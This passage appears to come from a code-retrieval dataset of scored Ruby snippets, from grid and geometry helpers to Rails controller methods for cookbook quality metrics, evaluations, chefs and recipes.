"docid": "15b69fef17b66c64389cc8948835b33c",
"score": "0.49765494",
"text": "def neighbor direction\r\n\t\tdirection=direction.to_s.upcase.to_sym # canonical: :N, :E, :S, :W\r\n\t\r\n\t\tcase direction\r\n\t\twhen :N\r\n\t\t\trow, col = @ai.normalize @row-1, @col\r\n\t\twhen :E\r\n\t\t\trow, col = @ai.normalize @row, @col+1\r\n\t\twhen :S\r\n\t\t\trow, col = @ai.normalize @row+1, @col\r\n\t\twhen :W\r\n\t\t\trow, col = @ai.normalize @row, @col-1\r\n\t\telse\r\n\t\t\traise 'incorrect direction'\r\n\t\tend\r\n\t\t\r\n\t\treturn @ai.map[row][col]\r\n\tend",
"title": ""
},
{
"docid": "2ec48ba061dd9f837831fd1a2e13dca7",
"score": "0.49734762",
"text": "def kind\n linkinfo && linkinfo.kind\n end",
"title": ""
},
{
"docid": "17d9d16351ef078344c515a152477f11",
"score": "0.49718368",
"text": "def get_relation(shape)\n if surrounds(shape)\n return \"surrounds\"\n elsif is_inside(shape)\n return \"is inside\"\n elsif intersects(shape)\n return \"intersects\"\n else\n return \"is separate from\"\n end\n end",
"title": ""
},
{
"docid": "0a83b299c199c015a5de5bf8c7f8e62a",
"score": "0.49691686",
"text": "def perimeter\n return @side_length * 4\n end",
"title": ""
},
{
"docid": "348c028fb23cf32f3bc203fe9d981cb0",
"score": "0.49662918",
"text": "def kind\n self[:node_kind]\n end",
"title": ""
},
{
"docid": "adbdb89d7a31d95747fa7c268c59d84d",
"score": "0.49589843",
"text": "def kind\n data['kind']\n end",
"title": ""
},
{
"docid": "9038a7e1c8093b90184965e1d2f63d5c",
"score": "0.49578866",
"text": "def neg(direction)\n case direction.to_s\n when 'right'\n 'left'\n when 'left'\n 'right'\n when 'top'\n 'bottom'\n when 'bottom'\n 'top'\n end\n end",
"title": ""
},
{
"docid": "e4ccac724c9aa8dc28735db10021ea6a",
"score": "0.49347836",
"text": "def determine_kind(int)\n if int == 3\n return :equilateral\n elsif int == 2\n return :isosceles\n else\n return :scalene\n end\n end",
"title": ""
},
{
"docid": "bd97217d6fb24d57023971607c0060ba",
"score": "0.4932613",
"text": "def rel?(kind); end",
"title": ""
},
{
"docid": "1d1f2e123dc9ee5a1908800a7bf8246a",
"score": "0.49310148",
"text": "def find_center(side)\n position = side / 2\n position = position - 1 if side.even?\n [position, position]\nend",
"title": ""
},
{
"docid": "142c6f8b93bbeee713c73fa629d8f03d",
"score": "0.4924557",
"text": "def is_right?\n s = self.sides\n\n s[0].perpendicular_to?(s[1]) ||\n s[1].perpendicular_to?(s[2]) ||\n s[0].perpendicular_to?(s[2])\n end",
"title": ""
},
{
"docid": "237342bfad58db9be4a4af2153905f56",
"score": "0.49230352",
"text": "def perimeter\n\t\treturn @side_length * 4\n\tend",
"title": ""
},
{
"docid": "157b18046cac4d9d1f5ca2cf25986946",
"score": "0.49167985",
"text": "def neighbor direction\n\t\tdirection=direction.to_s.upcase.to_sym # canonical: :N, :E, :S, :W\n\n\t\tcase direction\n\t\twhen :N\n\t\t\trow, col = @ai.normalize @row-1, @col\n\t\twhen :E\n\t\t\trow, col = @ai.normalize @row, @col+1\n\t\twhen :S\n\t\t\trow, col = @ai.normalize @row+1, @col\n\t\twhen :W\n\t\t\trow, col = @ai.normalize @row, @col-1\n\t\telse\n\t\t\traise 'incorrect direction'\n\t\tend\n\n\t\treturn @ai.map[row][col]\n\tend",
"title": ""
},
{
"docid": "157b18046cac4d9d1f5ca2cf25986946",
"score": "0.49167985",
"text": "def neighbor direction\n\t\tdirection=direction.to_s.upcase.to_sym # canonical: :N, :E, :S, :W\n\n\t\tcase direction\n\t\twhen :N\n\t\t\trow, col = @ai.normalize @row-1, @col\n\t\twhen :E\n\t\t\trow, col = @ai.normalize @row, @col+1\n\t\twhen :S\n\t\t\trow, col = @ai.normalize @row+1, @col\n\t\twhen :W\n\t\t\trow, col = @ai.normalize @row, @col-1\n\t\telse\n\t\t\traise 'incorrect direction'\n\t\tend\n\n\t\treturn @ai.map[row][col]\n\tend",
"title": ""
},
{
"docid": "147253d4664eae37d4ca1d8f73da287a",
"score": "0.49123934",
"text": "def perimeter_of_smallest_side(dimensions)\n dimensions.sort!\n (dimensions[0] * 2) + (dimensions[1] * 2)\nend",
"title": ""
},
{
"docid": "bd1bfde800d473a298e826029ee4644f",
"score": "0.49102196",
"text": "def kind\n match_path(2..2)\n end",
"title": ""
}
] |
40e7a403e80c2abc872ddc64604f4de0 | POST /api/v1/cookbookversions/foodcritic_evaluation Take the foodcritic evaluation results from Fieri and store them on the applicable +CookbookVersion+. If the +CookbookVersion+ does not exist, render a 404 not_found. If the request is unauthorized, render unauthorized. This endpoint expects +cookbook_name+, +cookbook_version+, +foodcritic_failure+, +foodcritic_feedback+, and +fieri_key+. | [
{
"docid": "bf5e5d0691cbf0f2fb65e9e61a2e47f7",
"score": "0.78598833",
"text": "def foodcritic_evaluation\n require_evaluation_params\n\n create_metric(\n @cookbook_version,\n QualityMetric.foodcritic_metric,\n params[:foodcritic_failure],\n params[:foodcritic_feedback]\n )\n\n head 200\n end",
"title": ""
}
] | [
{
"docid": "d460ac6d1850673f16c67115ed0cf659",
"score": "0.6812925",
"text": "def cookstyle_evaluation\n require_evaluation_params\n\n create_metric(\n @cookbook_version,\n QualityMetric.cookstyle_metric,\n params[:cookstyle_failure],\n params[:cookstyle_feedback]\n )\n\n # Foodcritic metric has been deprecated in favour of cookstyle metric\n # hence we will delete all the results which were for foodcritic metric\n MetricResult\n .where(cookbook_version: @cookbook_version, quality_metric: [QualityMetric.foodcritic_metric, QualityMetric.license_metric])\n .delete_all\n\n head 200\n end",
"title": ""
},
{
"docid": "8bf4843bdb3f758e0e5ca5ffa9e85c7b",
"score": "0.5993369",
"text": "def license_evaluation\n require_license_params\n\n create_metric(\n @cookbook_version,\n QualityMetric.license_metric,\n params[:license_failure],\n params[:license_feedback]\n )\n\n head 200\n end",
"title": ""
},
{
"docid": "222f0c1319c40099dd589e94777d2307",
"score": "0.59103006",
"text": "def publish_evaluation\n create_metric(\n @cookbook_version,\n QualityMetric.publish_metric,\n params[:publish_failure],\n params[:publish_feedback]\n )\n\n head 200\n end",
"title": ""
},
{
"docid": "d0edc449a1cec154a20ec82fbd33b096",
"score": "0.5590953",
"text": "def contributing_file_evaluation\n require_contributing_file_params\n\n create_metric(\n @cookbook_version,\n QualityMetric.contributing_file_metric,\n params[:contributing_file_failure],\n params[:contributing_file_feedback]\n )\n\n head 200\n end",
"title": ""
},
{
"docid": "8a8d190f7c6d1b68db168a8c9772dc63",
"score": "0.5530248",
"text": "def evaluation\n @api_v1_reservation.evaluate(evaluation_params[:comment], evaluation_params[:rating].to_i) unless @api_v1_reservation.evaluation\n render json: { success: true }, status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end",
"title": ""
},
{
"docid": "764661ffd6e47a5143fda490df6499bb",
"score": "0.54275334",
"text": "def collaborators_evaluation\n require_collaborator_params\n\n create_metric(\n @cookbook_version,\n QualityMetric.collaborator_num_metric,\n params[:collaborator_failure],\n params[:collaborator_feedback]\n )\n\n head 200\n end",
"title": ""
},
{
"docid": "764661ffd6e47a5143fda490df6499bb",
"score": "0.54275334",
"text": "def collaborators_evaluation\n require_collaborator_params\n\n create_metric(\n @cookbook_version,\n QualityMetric.collaborator_num_metric,\n params[:collaborator_failure],\n params[:collaborator_feedback]\n )\n\n head 200\n end",
"title": ""
},
{
"docid": "85fdb775bd42fd1612b2dbebee3282a5",
"score": "0.5309536",
"text": "def upload(cookbook, version, chef_api_url)\n cookbooks[cookbook] ||= {}\n cookbooks[cookbook][:version] = version\n cookbooks[cookbook][:uploaded_to] = chef_api_url\n end",
"title": ""
},
{
"docid": "5e671dedaa2bd6bdbd7791e34ddc48aa",
"score": "0.53079677",
"text": "def create\n @evaluation = current_customer.customer_evaluations.new(evaluation_params)\n if params['clone'] == 'true'\n @evaluation = @evaluation.clone_last_evaluation\n @evaluation.name = params[:evaluation][:name]\n @evaluation.status = Evaluation::STATUSES.index(\"draft\")\n @evaluation.published_at = nil\n end\n\n if params[:testing] == 'true'\n @evaluation = Evaluation.sample_evaluation.clone_evaluation\n @evaluation.name = params[:evaluation][:name]\n @evaluation.status = Evaluation::STATUSES.index(\"draft\")\n @evaluation.published_at = nil\n @evaluation.distinguish_type = Evaluation::TYPES.index(:sandbox)\n end\n\n @evaluation.company_id = current_company.id\n @evaluation.customer_id = current_customer.id\n @evaluation.created_by = current_user.id\n\n respond_to do |format|\n if @evaluation.save\n @evaluation.create_default_evaluation_services if params['clone'] != 'true'\n format.html {redirect_to customer_evaluation_path(current_customer, @evaluation), notice: I18n.t('evaluations.messages.successfully_created')}\n format.json {render json: @evaluation, status: :created, location: @evaluation}\n else\n format.html {render action: \"new\"}\n format.json {render json: @evaluation.errors, status: :unprocessable_entity}\n end\n end\n end",
"title": ""
},
{
"docid": "26318099160ce26007e90c53fe6d2ad9",
"score": "0.516171",
"text": "def create\n @chef_value = ChefValue.new(chef_value_params)\n\n respond_to do |format|\n if @chef_value.save\n format.html { redirect_to @chef_value, notice: 'Chef value was successfully created.' }\n format.json { render :show, status: :created, location: @chef_value }\n else\n format.html { render :new }\n format.json { render json: @chef_value.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cebc03be49488a75659bfa133a0b3458",
"score": "0.51073796",
"text": "def create\n @chef_resource = ChefResource.new(chef_resource_params)\n\n respond_to do |format|\n if @chef_resource.save\n format.html { redirect_to @chef_resource, notice: 'Chef resource was successfully created.' }\n format.json { render :show, status: :created, location: @chef_resource }\n else\n format.html { render :new }\n format.json { render json: @chef_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "323b5a579ad13b5056a08b18fe996a5e",
"score": "0.50933886",
"text": "def show\n @cookbook = Cookbook.with_name(params[:cookbook]).first!\n @cookbook_version = @cookbook.get_version!(params[:version])\n @cookbook_version_metrics = @cookbook_version.metric_results.includes(:quality_metric)\n end",
"title": ""
},
{
"docid": "60f1e8b188a6410e771a584320a6f878",
"score": "0.5021628",
"text": "def update\n if ENV[\"NEW_EVALUATION\"] == nil\n raise ActionController::RoutingError\n return\n end\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e08a1315db88bf62fae9b4881d778920",
"score": "0.4984628",
"text": "def expected_for_cookbooks(cookbooks, num_versions)\n latest = get_latest_cookbooks(cookbooks, num_versions)\n latest.inject({}) do |body, cookbook_spec|\n name, version_specs = cookbook_spec\n body[name] = {\n \"url\" => api_url(\"/cookbooks/#{name}\"),\n \"versions\" => version_specs.map do |version_string, recipe_names|\n {\n \"url\" => api_url(\"/cookbooks/#{name}/#{version_string}\"),\n \"version\" => version_string\n }\n end\n }\n body\n end\n end",
"title": ""
},
{
"docid": "f26f0734191b8b2b9d3b2ffa1139e230",
"score": "0.49614504",
"text": "def create\n name = @view.ask_user_for_info(\"name\")\n description = @view.ask_user_for_info(\"description\")\n prep_time = @view.ask_user_for_attribute(\"prep_time\")\n difficulty = @view.ask_user_for_attribute(\"difficulty\")\n recipe = Recipe.new(name: name, description: description, prep_time: prep_time, difficulty: difficulty)\n @cookbook.add_recipe(recipe)\n end",
"title": ""
},
{
"docid": "b46d32fc17c8ac78a6d5c2af403abf9d",
"score": "0.49455908",
"text": "def create\n @cookbook = Cookbook.new(cookbook_params)\n\n respond_to do |format|\n if @cookbook.save\n format.html { redirect_to cookbook_path(@cookbook), notice: 'Cookbook was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cookbook }\n else\n format.html { render action: 'new' }\n format.json { render json: @cookbook.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4b5e91f8fb4ffac913027d27a404f1d9",
"score": "0.49242333",
"text": "def create\n \n \n @evaluation = @course.evaluations.new(evaluation_params)\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to course_evaluation_path(@course,@evaluation) , notice: 'La evaluación fue creada con éxito.' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9e060e92f8339ef957185ac0194d205e",
"score": "0.49103102",
"text": "def validate_chef_version!\n unless gem_dep_matches?(\"chef\", Gem::Version.new(Chef::VERSION), *chef_versions)\n raise Exceptions::CookbookChefVersionMismatch.new(Chef::VERSION, name, version, *chef_versions)\n end\n end",
"title": ""
},
{
"docid": "82c1e86d977bd0445d2b009842f79366",
"score": "0.49053344",
"text": "def create\n @evaluation = Evaluation.new(evaluation_params)\n if Evaluation.where('title=?', @evaluation.title).first\n @evaluation.errors[:nameexists] << \"An evaluation by that title already exists\"\n end\n\n resource = @evaluation.resource\n if (resource =~ /doi:/ or resource =~ /dx\\.doi\\.org/)\n canonicalizedDOI = resource.match(/(10.\\d{4,9}\\/[-\\._;()\\/:A-Z0-9]+$)/i)[1]\n @evaluation.resource = canonicalizedDOI\n end\n \n validate_orcid(@evaluation, @evaluation.executor) # sets an error if there was a problem\n \n respond_to do |format|\n if !@evaluation.errors.any? && @evaluation.save\n format.html { redirect_to @evaluation, notice: \"Evaluation was successfully created.\" }\n format.json { render :show, status: :created, location: @evaluation }\n else\n @collections = Collection.all\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b07ab7f955f878daa6a76b265dfe1426",
"score": "0.4880682",
"text": "def create\n @qc_evaluation = QcEvaluation.new(params[:qc_evaluation])\n\n respond_to do |format|\n if @qc_evaluation.save\n format.html { redirect_to @qc_evaluation, notice: 'Qc evaluation was successfully created.' }\n format.json { render json: @qc_evaluation, status: :created, location: @qc_evaluation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @qc_evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d44780cb331a1597df3e3c36d91cbfc",
"score": "0.48700503",
"text": "def create\n @evaluation_criterium = EvaluationCriterium.new(params[:evaluation_criterium])\n\n respond_to do |format|\n if @evaluation_criterium.save\n format.html { redirect_to @evaluation_criterium, notice: 'Evaluation criterium was successfully created.' }\n format.json { render json: @evaluation_criterium, status: :created, location: @evaluation_criterium }\n else\n format.html { render action: \"new\" }\n format.json { render json: @evaluation_criterium.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c2b9949ac53a3ba6b4f359d5c9c3b2a",
"score": "0.48437202",
"text": "def update\n if @evaluation.update(evaluation_params)\n render :show, status: :ok\n else\n render json: @evaluation.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "01ae261c29908828fce8e624f25350e5",
"score": "0.48431787",
"text": "def create\n @chef = Chef.new(chef_params)\n\n respond_to do |format|\n if @chef.save\n format.html { redirect_to [:admin, @chef], notice: t('messages.created', model:Chef.model_name.human) }\n format.json { render action: 'show', status: :created, location: @chef }\n else\n format.html { render action: 'new' }\n format.json { render json: @chef.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "68804fa220533f93e5d31ebcdce98aee",
"score": "0.48134363",
"text": "def create\n @recipe = Recipe.new(recipe_params)\n @recipe.chef = Chef.find(2)\n \n if @recipe.save\n # shows a message when saved \n flash[:success] = \"Your recipe was created successfully!\"\n # redirect - index page\n redirect_to recipes_path\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "3a81d4b174cef30d3e1e91d63bce38f7",
"score": "0.48066095",
"text": "def target_chef_version(version)\n RuboCop::Config.new('AllCops' => { 'TargetChefVersion' => version })\nend",
"title": ""
},
{
"docid": "3a81d4b174cef30d3e1e91d63bce38f7",
"score": "0.48066095",
"text": "def target_chef_version(version)\n RuboCop::Config.new('AllCops' => { 'TargetChefVersion' => version })\nend",
"title": ""
},
{
"docid": "7a8b5f680dde21520b729edc9f65fbbf",
"score": "0.4777382",
"text": "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n if @evaluation.save\n render :show, status: :created\n else\n render json: @evaluation.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "facbae78fd9eabe680f47e1e6014414a",
"score": "0.47676396",
"text": "def evaluate_package(course_title, question, answer)\n Course::Assessment::ProgrammingCodaveriEvaluationService.execute(course_title, question, answer)\n end",
"title": ""
},
{
"docid": "c3215c6a969da1976e4ece0bc174548c",
"score": "0.47445488",
"text": "def create\n @evaluations = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'evaluation was successfully created.' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4857fed457ac7f34375cf2c981d93e79",
"score": "0.4727162",
"text": "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully created.' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e237cb8d4ac8b462dee64461319928ad",
"score": "0.4725442",
"text": "def update\n unless @submission.evaluated.blank?\n respond_to do |format|\n format.html { redirect_to test_submission_path(@test, @submission), info: \"Evaluated!\" }\n end\n return\n end\n\n unless Time.now > @timeout + 5.seconds\n @submission.answers_of_questions.each do |user_answer|\n user_answer.update(choice: submission_params.fetch(user_answer.answer_id.to_s, \"false\"))\n end\n end\n if Time.now > @timeout || params[:evaluate]\n @test.questions.each do |question|\n crrct = get_result(question)\n @submission.increment!(:point, question.point) if crrct\n @submission.question_evaluations.create({question_id: question.id, value: crrct})\n end\n @submission.update(evaluated: true)\n respond_to do |format|\n format.html { redirect_to test_submission_path(@test, @submission) }\n end\n else\n respond_to do |format|\n format.html { redirect_to submissions_path, success: 'Submission was successfully saved.' }\n end\n end\n\n end",
"title": ""
},
{
"docid": "647246f922e04e3fe7b42338e9f9bf62",
"score": "0.47222918",
"text": "def create\n \n if ENV[\"NEW_EVALUATION\"] == nil\n raise ActionController::RoutingError\n return\n end\n @entry = Entry.find(params[:id])\n @evaluation = @entry.evaluations.find_by(school_num:params[:evaluation][:school_num])\n success_flag = true\n begin \n if(@evaluation == nil)then\n \n @evaluation = Evaluation.create(evaluation_params)\n @entry.evaluations<<@evaluation\n else\n success_flag = @evaluation.update(evaluation_params)\n end\n rescue\n success_flag = false\n end\n\n if @evaluation.id == nil\n # @evaluation = Evaluation.new\n success_flag = false\n end\n respond_to do |format|\n if success_flag == true\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully created.' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { redirect_to \"/evaluations/\"+params[:id].to_s + \"/new\", json: @evaluation.errors}\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "86852d1451cfed04211973a663243571",
"score": "0.4705433",
"text": "def create\n @recipe = Recipe.new(recipe_params)\n @recipe.chef = current_user #must log in to be able to create a recipe\n \n if @recipe.save\n flash[:success] = \"Your recipe was created successfully!\"\n redirect_to recipes_path\n else\n render :new\n end\n \n end",
"title": ""
},
{
"docid": "97df28cee31760782c6d81acc1e5c48f",
"score": "0.47031438",
"text": "def create\n @chef = Chef.new(chef_params)\n if @chef.save\n flash[:success] = \"Your account is registered successfully\"\n #And we need to create a session\n session[:chef_id] = @chef.id\n redirect_to recipes_path\n else\n render 'new'\n end\n end",
"title": ""
},
{
"docid": "de8f18ffaf507cbc460926e1f8bd0b7a",
"score": "0.46992844",
"text": "def create\n #@program_chef = ProgramChef.new(program_chef_params)\n @program = Program.find(params[:program_id])\n priority = 0\n if !@program.chef_resources.where(status: \"install\").last.nil?\n priority = @program.chef_resources.where(status: \"install\").last.priority\n end\n @chef_resource = ChefResource.new(resource_type: params[:chef_resource_type], priority: priority + 1)\n\n respond_to do |format|\n if @program.program_chefs.create(chef_resource: @chef_resource)\n ProgramsSubject.where(:program_id => @program.id).update_all(:was_updated => true)\n ProgramsSubject.where(:program_id => @program.id, :state => \"none\").update_all(:state => \"update\")\n format.html { redirect_to edit_program_path(@program), :flash => { :success => \"Action was successfully created.\" } }\n format.json { render :show, status: :created, location: edit_program_path(@program) }\n else\n format.html { render :new }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3f531d41c7d9e0f72ff91acae2200860",
"score": "0.46941194",
"text": "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @evaluation }\n else\n format.html { render action: 'new' }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3f531d41c7d9e0f72ff91acae2200860",
"score": "0.46941194",
"text": "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @evaluation }\n else\n format.html { render action: 'new' }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5a41335d7c76ea2a9caa1787989b1477",
"score": "0.46897563",
"text": "def create\n @chef_id = Profile.find_by(name: experience_params[:chef], user_type: \"Chef\").user.id\n @recipe_id = Recipe.find_by(name: experience_params[:recipe]).id\n @experience = Experience.new(chef_id: @chef_id, recipe_id: @recipe_id, foody_id: current_foody.id, cost: Pricing.calculate(@recipe_id, @chef_id), status: \"upcoming\", starts_at: experience_params[:starts_at] )\n\n\n respond_to do |format|\n if @experience.save\n format.html { redirect_to @experience, notice: 'Experience was successfully created.' }\n format.json { render :show, status: :created, location: @experience }\n else\n format.html { render :new }\n format.json { render json: @experience.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "63c64486c20c24937911bd369a6bf4d8",
"score": "0.46835136",
"text": "def show\n @cookbook = Cookbook.with_name(params[:cookbook]).\n includes(:cookbook_versions).first!\n @latest_cookbook_version_url = api_v1_cookbook_version_url(\n @cookbook, @cookbook.latest_cookbook_version\n )\n\n @cookbook_versions_urls = @cookbook.sorted_cookbook_versions.map do |version|\n api_v1_cookbook_version_url(@cookbook, version)\n end\n end",
"title": ""
},
{
"docid": "7c5f03467ef0452902d135a3b3e6e962",
"score": "0.46800506",
"text": "def evaluation_params\n params.require(:evaluation).permit(:restaurant_id, :standards, :name, :message)\n end",
"title": ""
},
{
"docid": "2743e0e46834a7639c147a0bfa9e40f5",
"score": "0.46713287",
"text": "def create\n @evaluation = Evaluation.new(evaluation_params)\n @evaluation.course = @course\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to course_evaluations_url, notice: 'La evaluacion fue creada correctamente!' }\n else\n format.html { render :new }\n end\n end\n end",
"title": ""
},
{
"docid": "628deee885625655e6652904679936a4",
"score": "0.46538135",
"text": "def create\n @chef = Chef.new(chef_params)\n @chef.user_id = current_user.id\n\n respond_to do |format|\n if @chef.save\n format.html { redirect_to my_meals_path, notice: \"Chef was successfully created.\" }\n format.json { render :show, status: :created, location: @chef }\n else\n format.html { render :new }\n format.json { render json: @chef.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bcaa822164d2b61c3d258545a6f88738",
"score": "0.4640531",
"text": "def create\r\n @evaluation = Evaluation.new(params[:evaluation])\r\n @answers = @evaluation.responses\r\n\r\n respond_to do |format|\r\n if @evaluation.save && @answers.each{|a| a.save }.all?\r\n format.html { redirect_to(@evaluation, :notice => 'Evaluation was successfully created.') }\r\n format.xml { render :xml => @evaluation, :status => :created, :location => @evaluation }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @evaluation.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "8e73370f3618059b41970ee2fe6324b9",
"score": "0.46337044",
"text": "def create\n @course_evaluation = CourseEvaluation.new(course_evaluation_params)\n\n respond_to do |format|\n if @course_evaluation.save\n format.html { redirect_to @course_evaluation, notice: 'Course evaluation was successfully created.' }\n format.json { render :show, status: :created, location: @course_evaluation }\n else\n format.html { render :new }\n format.json { render json: @course_evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "684900d061569a2410036bc757cb291c",
"score": "0.46312806",
"text": "def evaluation_params\n params.require(:evaluation).permit(:collection, :resource, :body, :result, :executor, :title, :metrics, :subject)\n end",
"title": ""
},
{
"docid": "684900d061569a2410036bc757cb291c",
"score": "0.46312806",
"text": "def evaluation_params\n params.require(:evaluation).permit(:collection, :resource, :body, :result, :executor, :title, :metrics, :subject)\n end",
"title": ""
},
{
"docid": "0be8ad102448fb89fb20b8e29a85c865",
"score": "0.4618229",
"text": "def evaluation_params\n params.require(:evaluation).permit(:candidate_id, :user_id, :attitude_id, :intention_id, :production_id, :localization_id, :comment, :boost)\n end",
"title": ""
},
{
"docid": "4ebd6ed5672cdcb0effdd7c92d76c1eb",
"score": "0.46171516",
"text": "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'Avaliação criada.' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c2b77482c350dc5cce4200f883458893",
"score": "0.46136943",
"text": "def create\n #Rails 4 forces us to use STRONG PARAMETERS to white list which submitted parameters should be accepted for security reasons. We'll do it by creating a private method down. \n @recipe = Recipe.new(recipe_params)\n #We need to insert CHEF ID as we did not define in RECIPE_PARAMS method and it is required inside white list. \n @recipe.chef = current_user\n if @recipe.save\n #To show a flash message\n flash[:success] = \"Your recipe was created successfully!\"\n redirect_to recipes_path\n else\n #If it fails, we want it to render the form again\n render :new\n end\n \n end",
"title": ""
},
{
"docid": "18e81a5d035f29a8fc1254fd8f8bca05",
"score": "0.46084204",
"text": "def create\n if current_user.has_role? :admin\n @evaluation = Evaluation.new(evaluation_params)\n else\n @practice = Practice.find(session[:practice_id])\n @evaluation = Evaluation.new(evaluation_params)\n @evaluation.lesson_id = session[:lesson_id]\n @evaluation.user_id = current_user.id\n @evaluation.practice_id = @practice.id\n @evaluation.title = @practice.title\n @evaluation.material = @practice.material\n @evaluation.question = @practice.question\n @evaluation.answer = @practice.answer\n @evaluation.practice_score ||= @practice.score\n if session[:papertest_id]\n @papertest = Papertest.find(session[:papertest_id])\n if Time.now < @papertest.end_at\n @evaluation.end_at = @papertest.end_at\n @evaluation.papertest_id = @papertest.id\n else\n session[:papertest_id] = nil\n redirect_to paper_url(@papertest.paper_id), notice: \"考试已结束!\"\n return\n end\n end\n end\n respond_to do |format|\n if @evaluation.save\n if @practice.answer.gsub(/(<(\\w|\\/)+[^>]*>|\\s)/, \"\") == @evaluation.your_answer.gsub(/(<(\\w|\\/)+[^>]*>|\\s)/, \"\") # 如果答对了\n @justice = Justice.create!(\n user_id: 1,\n evaluation_user_id: @evaluation.user_id,\n practice_id: @evaluation.practice_id,\n\t evaluation_id: @evaluation.id,\n\t score: @evaluation.practice_score, # 得到满分\n\t p_score: @evaluation.practice_score,\n remark: \"完全正确!\",\n )\n @evaluation.update(score: @evaluation.practice_score)\n end\n format.html { redirect_to @evaluation, notice: '答案提交成功' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eccd1b2f3148b0db388a92c2bbd69261",
"score": "0.46080938",
"text": "def create\n @restaurant_evaluation = RestaurantEvaluation.new(restaurant_evaluation_params)\n @restaurant_evaluation.user_id = current_user.id\n respond_to do |format|\n if @restaurant_evaluation.save\n format.html { redirect_to Restaurant.find_by_id(@restaurant_evaluation.restaurant_id), notice: 'Restaurant evaluation was successfully created.' }\n format.json { render :show, status: :created, location: @restaurant_evaluation }\n else\n format.html { render :new }\n format.json { render json: @restaurant_evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f480d60ff5de0980b20b48cd1d62ef3f",
"score": "0.46006516",
"text": "def create\n @cookbook = Cookbook.new(cookbook_params)\n @cookbook.user_id = current_user.id\n\n respond_to do |format|\n if @cookbook.save\n format.html { redirect_to @cookbook, notice: 'Cookbook was successfully created.' }\n format.json { render :show, status: :created, location: @cookbook }\n else\n format.html { render :new }\n format.json { render json: @cookbook.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e476f5c5a56594ce83ba48c75db8b716",
"score": "0.45993504",
"text": "def check_price\n @num_cookbooks = (params[:num_cookbooks] && params[:num_cookbooks].to_i > 3) ? params[:num_cookbooks].to_i : 4\n ccc = CookbookCostCalculator.new(\n num_bw_pages: current_cookbook.num_bw_pages, \n num_color_pages: current_cookbook.num_color_pages, \n num_books: @num_cookbooks, \n binding: current_cookbook.book_binding.to_sym\n )\n @cookbook = current_cookbook\n @printing_cost = ccc.printing_cost || \"Unknown\"\n @cost_per_book = (@printing_cost != \"Unknown\") ? (@printing_cost.to_f / @num_cookbooks).round(2) : \"Unknown\"\n end",
"title": ""
},
{
"docid": "be3688b57eecdef338fd296913ef02a5",
